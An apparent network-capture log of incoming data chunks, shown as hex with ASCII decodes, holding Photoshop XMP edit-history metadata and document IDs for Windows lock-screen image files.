2022-07-20 13:44:28 UTC	6435	IN	Data Raw: 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 34 3a 35 37 3a 33 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 34 34 38 32 37 32 30 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 30 54 31 35 3a 30 34 3a 31 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 Data Ascii: e Lockscreen_1920x1080_Landscape.psd opened 2016-11-20T14:57:31-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-HolidayShopping_GettyImages-544827200_1920x1080.jpg saved 2016-11-20T15:04:17-08:00 File C:\Users\v
2022-07-20 13:44:28 UTC	6451	IN	Data Raw: 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 46 65 62 72 75 61 72 79 5c 47 52 41 4d 4d 59 53 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 69 6e 74 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 2d 47 72 61 6d 6d 79 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 39 38 39 30 35 36 39 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 32 33 54 31 36 3a 33 32 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 Data Ascii: 0\MomentsInTime\WinterEntertainment\February\GRAMMYS\_CHOSEN\Crops\MIT-WinterEntertainment-Grammys_GettyImages-98905694_1920x1080.jpg saved 2017-01-23T16:32:33-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecove
2022-07-20 13:44:28 UTC	6467	IN	Data Raw: 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 34 37 36 33 39 35 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 34 3a 32 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4e 41 41 45 45 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 65 2d 4e 41 41 45 45 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 34 30 30 36 30 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 33 54 30 39 3a 34 35 3a 34 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 Data Ascii: OSEN\Crops\Edge-NAAEE_GettyImages-474763952_1920x1080.jpg saved 2017-02-23T09:44:23-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\NAAEE\CHOSEN\Crops\Edge-NAAEE_GettyImages-484006054_1920x1080.jpg saved 2017-02-23T09:45:49-08:00 File C:\Us
2022-07-20 13:44:28 UTC	6474	IN	Data Raw: 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 6d 6e 74 2d 44 57 54 53 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 36 39 36 39 32 30 39 5f 31 39 32 30 78 31 30 38 30 34 34 39 30 42 39 41 44 35 32 43 41 36 32 38 34 31 43 45 31 32 42 33 46 43 43 33 45 37 36 31 31 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 31 34 54 31 31 3a 35 35 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 41 70 72 69 6c 5c 4d 6f 76 69 Data Ascii: Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_MIT-SpringEntmnt-DWTS_GettyImages-476969209_1920x10804490B9AD52CA62841CE12B3FCC3E7611.psb saved 2017-03-14T11:55:53-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\April\Movi
2022-07-20 13:44:28 UTC	6490	IN	Data Raw: 6d 72 6b 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 30 3a 31 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 37 31 34 34 32 39 33 5f 31 39 32 30 78 31 30 38 30 35 39 41 41 44 33 32 31 32 43 45 45 35 33 45 42 39 30 30 32 44 33 33 35 34 32 45 35 38 44 43 37 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 35 3a 35 34 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 Data Ascii: mrk.jpg saved 2017-04-12T15:50:11-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_BingAtWork_GettyImages-137144293_1920x108059AAD3212CEE53EB9002D33542E58DC7.psb saved 2017-04-12T15:54:35-07:00 File
2022-07-20 13:44:28 UTC	6506	IN	Data Raw: 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 31 36 37 35 35 35 32 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 30 3a 31 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 43 48 4f 53 45 4e 5c 57 69 6e 2d 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 36 30 35 31 38 34 35 33 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 30 3a 34 34 3a 35 36 2d Data Ascii: e\CHOSEN\Win-CreatorsUpdate_GettyImages-511675552_1920x1080.jpg saved 2017-05-11T10:40:18-07:00 File C:\Users\v-lizagh\MS\Windows10\Windows\CreatorsUpdate\CHOSEN\Win-CreatorsUpdate_GettyImages-560518453_1920x1080.jpg saved 2017-05-11T10:44:56-
2022-07-20 13:44:28 UTC	6514	IN	Data Raw: 36 33 37 39 31 31 39 33 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 33 33 3a 33 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 4c 69 6e 6b 65 64 49 6e 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 69 6e 6b 65 64 49 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 34 31 32 32 39 30 39 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 33 35 3a 34 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c Data Ascii: 637911930_1920x1080.jpg saved 2017-05-15T15:33:34-07:00 File C:\Users\v-lizagh\MS\Windows10\MattRequest\LinkedIn\CHOSEN\Crops\LinkedIn_GettyImages-641229091_1920x1080.jpg saved 2017-05-15T15:35:40-07:00 File C:\Users\v-lizagh\MS\Windows10\
2022-07-20 13:44:28 UTC	6530	IN	Data Raw: 30 39 54 31 32 3a 31 35 3a 32 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 33 36 35 2d 47 65 6e 65 72 69 63 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 33 30 36 33 33 31 38 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 32 3a 31 36 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 53 70 6f 74 6c 69 67 68 74 5f 46 59 31 37 5c 43 72 6f 70 73 5c 4f Data Ascii: 09T12:15:21-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Crops\Office365-GenericSpotlight_shutterstock_130633181_1920x1080.jpg saved 2017-07-09T12:16:45-07:00 File C:\Users\v-lizagh\MS\Windows10\Office\Spotlight_FY17\Crops\O
2022-07-20 13:44:28 UTC	6546	IN	Data Raw: 30 41 38 42 42 33 33 45 30 46 35 36 35 39 42 38 42 39 37 46 43 32 36 41 39 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 32 36 54 31 36 3a 34 35 3a 30 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 30 3a 35 36 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 30 3a 35 37 3a 32 38 2d 30 37 Data Ascii: 0A8BB33E0F5659B8B97FC26A90.psb saved 2017-07-26T16:45:06-07:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-07-31T10:56:17-07:00 File Lockscreen_1920x1080_Landscape.psd opened 2017-07-31T10:57:28-07
2022-07-20 13:44:28 UTC	6554	IN	Data Raw: 38 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 33 3a 35 39 3a 33 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 69 6e 6b 65 64 49 6e 2d 4c 65 61 72 6e 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 32 32 33 32 38 30 5f 31 39 32 30 78 31 30 38 30 36 46 34 31 30 46 39 32 36 43 39 43 32 46 43 37 36 41 41 31 30 41 44 30 34 32 45 32 39 34 39 30 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 34 54 31 34 3a 33 32 3a 33 30 2d Data Ascii: 85_1920x1080.jpg saved 2017-08-14T13:59:35-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_LinkedIn-Learning_GettyImages-108223280_1920x10806F410F926C9C2FC76AA10AD042E29490.psb saved 2017-08-14T14:32:30-
2022-07-20 13:44:28 UTC	6570	IN	Data Raw: 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 39 2d 32 37 54 31 30 3a 33 30 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 42 35 37 39 2e 70 73 62 Data Ascii: C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-09-27T10:30:17-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb
2022-07-20 13:44:28 UTC	6586	IN	Data Raw: 31 31 3a 30 30 3a 34 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 54 68 61 6e 6b 73 67 69 76 69 6e 67 5c 4e 6f 76 32 30 31 37 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 68 61 6e 6b 73 67 69 76 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 36 30 30 31 38 32 39 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 30 39 54 31 31 3a 34 35 3a 35 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 54 68 61 6e 6b 73 67 69 76 Data Ascii: 11:00:42-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Thanksgiving\Nov2017\CHOSEN\Crops\MIT-Thanksgiving_GettyImages-160018296_1920x1080.jpg saved 2017-11-09T11:45:53-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\Thanksgiv
2022-07-20 13:44:28 UTC	6594	IN	Data Raw: 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 30 3a 33 37 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 33 36 32 30 31 33 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 30 3a 34 33 3a 30 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 Data Ascii: 0.jpg saved 2017-11-22T10:37:18-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday_GettyImages-136201339_1920x1080.jpg saved 2017-11-22T10:43:06-08:00 File C:\Users\v-lizagh\MS
2022-07-20 13:44:28 UTC	6610	IN	Data Raw: 32 30 3a 35 36 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 32 30 54 32 31 3a 32 35 3a 30 32 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 4c 4b 5c 43 48 4f 53 45 4e 2d 32 30 31 36 2d 32 30 31 37 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 4c 4b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 34 38 37 32 32 38 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 Data Ascii: 20:56:36-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved 2017-12-20T21:25:02-08:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MLK\CHOSEN-2016-2017\Crops\MIT-MLK_GettyImages-174872281_1920x1080.jpg save
2022-07-20 13:44:28 UTC	6626	IN	Data Raw: 73 31 30 5c 5f 5f 54 65 6d 70 6c 61 74 65 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 36 3a 33 36 3a 32 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 33 30 54 31 36 3a 35 35 3a 33 39 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c Data Ascii: s10\__Templates\Lockscreen_1920x1080_Landscape.psd saved 2018-01-30T16:36:26-08:00 File Lockscreen_1920x1080_Landscape.psd opened 2018-01-30T16:55:39-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_L
2022-07-20 13:44:28 UTC	6633	IN	Data Raw: 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 34 54 31 37 3a 32 36 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 34 54 31 37 3a 34 33 3a 33 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 Data Ascii: 0x1080.jpg saved 2018-02-14T17:26:41-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-02-14T17:43:38-08:00 File C:\Users\v
2022-07-20 13:44:28 UTC	6649	IN	Data Raw: 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 33 2d 32 31 54 31 34 3a 35 37 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 78 65 72 45 6e 67 61 67 65 6d 65 6e 74 2d 46 59 31 38 5c 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 69 78 65 72 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 35 37 30 36 34 36 30 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 Data Ascii: er\_Lockscreen_1920x1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved 2018-03-21T14:57:41-07:00 File C:\Users\v-lizagh\MS\Windows10\Microsoft\MixerEngagement-FY18\Round2\_CHOSEN\Crops\Mixer_GettyImages-457064601_1920x1080.jpg saved 2018
2022-07-20 13:44:28 UTC	6665	IN	Data Raw: 45 42 38 34 44 34 46 46 45 38 30 33 31 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 33 39 36 46 42 44 42 35 45 45 31 46 38 32 34 34 39 31 37 38 35 32 36 30 37 41 45 43 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 34 35 36 34 36 41 32 31 30 35 42 39 41 43 43 42 45 36 38 43 44 33 39 41 46 34 35 39 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 34 35 41 46 46 38 44 44 34 30 37 41 46 35 34 33 46 35 44 43 45 30 31 39 45 42 31 42 31 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 35 42 30 34 38 37 43 38 41 38 33 37 36 31 46 43 39 38 44 35 31 46 42 36 44 41 36 38 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 37 37 31 32 32 45 33 33 32 36 35 43 31 42 39 42 34 34 46 42 38 Data Ascii: EB84D4FFE8031C3</rdf:li> <rdf:li>07396FBDB5EE1F8244917852607AECC6</rdf:li> <rdf:li>0745646A2105B9ACCBE68CD39AF459A7</rdf:li> <rdf:li>0745AFF8DD407AF543F5DCE019EB1B1E</rdf:li> <rdf:li>075B0487C8A83761FC98D51FB6DA68FC</rdf:li> <rdf:li>077122E33265C1B9B44FB8
2022-07-20 13:44:28 UTC	6673	IN	Data Raw: 34 38 38 35 46 34 38 46 33 32 38 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 39 35 33 44 34 37 41 32 34 30 34 46 38 38 42 37 31 31 33 41 46 30 44 34 32 30 46 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 42 35 33 33 44 46 36 37 39 34 38 31 33 43 30 46 44 39 30 34 34 34 38 38 31 38 42 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 43 30 38 33 43 36 46 34 45 41 33 42 44 46 38 43 39 30 38 34 32 39 39 37 43 30 36 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 43 35 35 30 30 45 38 34 37 45 46 32 32 45 33 31 32 39 37 32 30 42 45 44 36 30 33 44 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 43 45 46 30 39 31 45 46 34 44 43 43 35 44 43 42 43 32 35 33 38 31 34 Data Ascii: 4885F48F32825</rdf:li> <rdf:li>0CE953D47A2404F88B7113AF0D420F36</rdf:li> <rdf:li>0CEB533DF6794813C0FD904448818BEF</rdf:li> <rdf:li>0CEC083C6F4EA3BDF8C90842997C0644</rdf:li> <rdf:li>0CEC5500E847EF22E3129720BED603D0</rdf:li> <rdf:li>0CEF091EF4DCC5DCBC253814
2022-07-20 13:44:28 UTC	6689	IN	Data Raw: 35 31 44 31 36 45 41 33 34 46 44 41 32 44 36 39 36 34 34 33 34 45 31 38 34 31 32 34 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 36 45 30 31 46 38 46 30 45 30 39 30 42 31 45 44 34 33 31 44 35 35 45 45 36 34 43 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 39 43 43 44 37 33 30 38 44 41 30 33 32 37 36 41 39 44 43 30 33 46 31 46 34 41 38 31 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 42 43 30 45 42 39 39 34 34 33 43 44 44 32 43 38 38 39 41 34 37 37 32 35 36 46 41 39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 37 37 43 38 32 36 43 43 42 38 34 39 32 39 42 39 42 37 34 34 33 33 30 32 33 36 41 39 33 35 32 